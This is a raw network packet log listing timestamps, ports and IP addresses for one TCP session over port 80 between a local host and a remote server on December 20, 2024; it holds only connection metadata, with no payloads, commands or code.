Dec 20, 2024 16:19:44.913444042 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.913496971 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.913531065 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.913582087 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.914428949 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.914478064 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.914511919 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.914558887 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.915532112 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.915580034 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.915647030 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.915692091 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.916382074 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.916430950 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.916464090 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.916507959 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.917465925 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.917514086 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.917958021 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.918006897 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.918365002 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.918412924 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.918597937 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.918643951 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.919373035 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.919424057 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.919891119 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.919938087 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.920420885 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.920471907 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.920624971 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.920670033 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.921371937 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.921420097 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.922048092 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.922096968 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.922261000 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.922306061 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.935914993 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.936038971 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.936127901 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.936146021 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.936187029 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.936284065 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.936321974 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.937124968 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.937138081 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.937186956 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.938071966 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.938123941 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.938471079 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.938519001 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.939100981 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.939111948 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.939160109 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.940124989 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.940172911 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.940382004 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.940429926 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.941000938 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.941046953 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.941637993 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.941688061 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.942118883 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.942291975 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.942858934 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.942981005 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.942992926 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.943032980 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.944032907 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.944081068 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.944820881 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.944869041 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.945003033 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.945014000 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.945050955 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.945069075 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.945982933 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.946357012 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.946374893 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.946400881 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.946918964 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.946978092 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.947376013 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.947424889 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.948030949 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.948045015 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.948153973 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.982284069 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.982341051 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:44.982367992 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:44.982412100 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.027667046 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.027724028 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.027838945 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.028001070 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.028130054 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.028172016 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.028220892 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.028600931 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.029153109 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.029196024 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.029532909 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.029583931 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.029726028 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.029769897 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.030479908 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.030524969 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.031037092 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.031158924 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.031454086 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.031510115 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.031544924 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.031595945 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.032440901 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.032483101 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.032546997 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.032589912 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.033466101 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.033509970 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.033581018 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.033694983 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.034509897 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.034631014 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.034681082 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.035491943 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.035598993 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.035921097 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.036451101 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.036519051 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.036523104 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.036600113 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.037364960 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.037419081 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.037487984 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.037534952 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.038330078 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.038393021 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.038477898 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.038574934 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.039340973 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.039421082 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.039446115 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.039490938 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.040371895 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.040467024 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.040831089 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.040894032 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.041465998 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.041522980 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.041583061 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.042071104 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.042270899 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.042315006 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.042351961 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.042413950 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.043260098 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.043306112 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.043364048 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.043409109 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.044260979 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.044307947 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.044409990 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.044617891 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.045347929 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.045418024 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.045448065 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.045484066 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.046614885 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.046703100 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.046709061 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.046753883 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.047418118 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.047463894 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.047481060 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.047527075 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.048202038 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.048249960 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.048599958 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.048782110 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.049258947 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.049271107 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.049349070 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.049349070 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.050162077 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.050220013 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.050277948 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.050360918 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.051143885 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.051198006 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.051223993 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.051259041 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.052186012 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.052241087 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.101037025 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.101094007 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.101219893 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.101279974 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.101486921 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.101522923 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.101667881 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.101711035 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.102536917 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.102574110 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.102744102 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.102787018 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.103487015 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.103530884 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.103590965 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.103627920 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.104473114 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.104520082 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.104628086 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.104686022 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.146672964 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.146733999 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.146867990 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.146912098 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.147080898 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.147126913 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.147361994 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.147399902 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.147422075 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.147480011 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.147491932 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.148289919 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.148327112 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.148400068 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.148447990 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.149250031 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.149293900 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.149804115 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.149843931 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.150237083 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.150283098 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.150464058 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.150506973 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.151215076 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.151257992 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.151288033 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.151330948 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.152226925 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.152271032 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.152354002 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.152390957 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.153268099 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.153321028 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.153400898 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.153443098 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.154253006 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.154294968 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.154476881 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.154515028 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.155225039 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.155268908 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.155297041 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.155334949 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.156131983 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.156179905 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.156274080 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.156311989 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.157159090 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.157201052 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.157452106 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.157500982 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.158119917 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.158162117 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.158516884 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.158561945 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.159096003 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.159154892 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.159223080 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.159272909 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.160101891 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.160150051 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.160320044 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.160362005 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.161048889 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.161102057 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.161178112 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.161216021 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.162084103 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.162137985 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.162729979 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.162774086 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.163155079 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.163201094 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.163481951 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.163532019 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.164202929 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.164340973 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.164414883 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.164455891 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.165118933 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.165163994 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.165272951 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.165324926 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.166003942 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.166054010 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.166131973 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.166174889 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.167079926 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.167128086 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.167351007 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.167397976 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.168339968 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.168382883 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.219716072 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.219844103 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.219968081 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.220031023 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.220186949 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.220208883 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.220228910 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.220257044 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.221338034 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.221497059 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.221659899 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.221735001 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.222179890 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.222273111 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.222806931 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.222872972 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.223161936 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.223225117 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.223361015 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.223519087 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.224158049 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.224281073 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.224443913 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.224500895 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.225244999 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.225322008 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.225330114 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.225447893 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.226139069 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.226202011 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.226334095 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.226392984 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.227195024 CET	80	49735	185.156.73.23	192.168.2.4
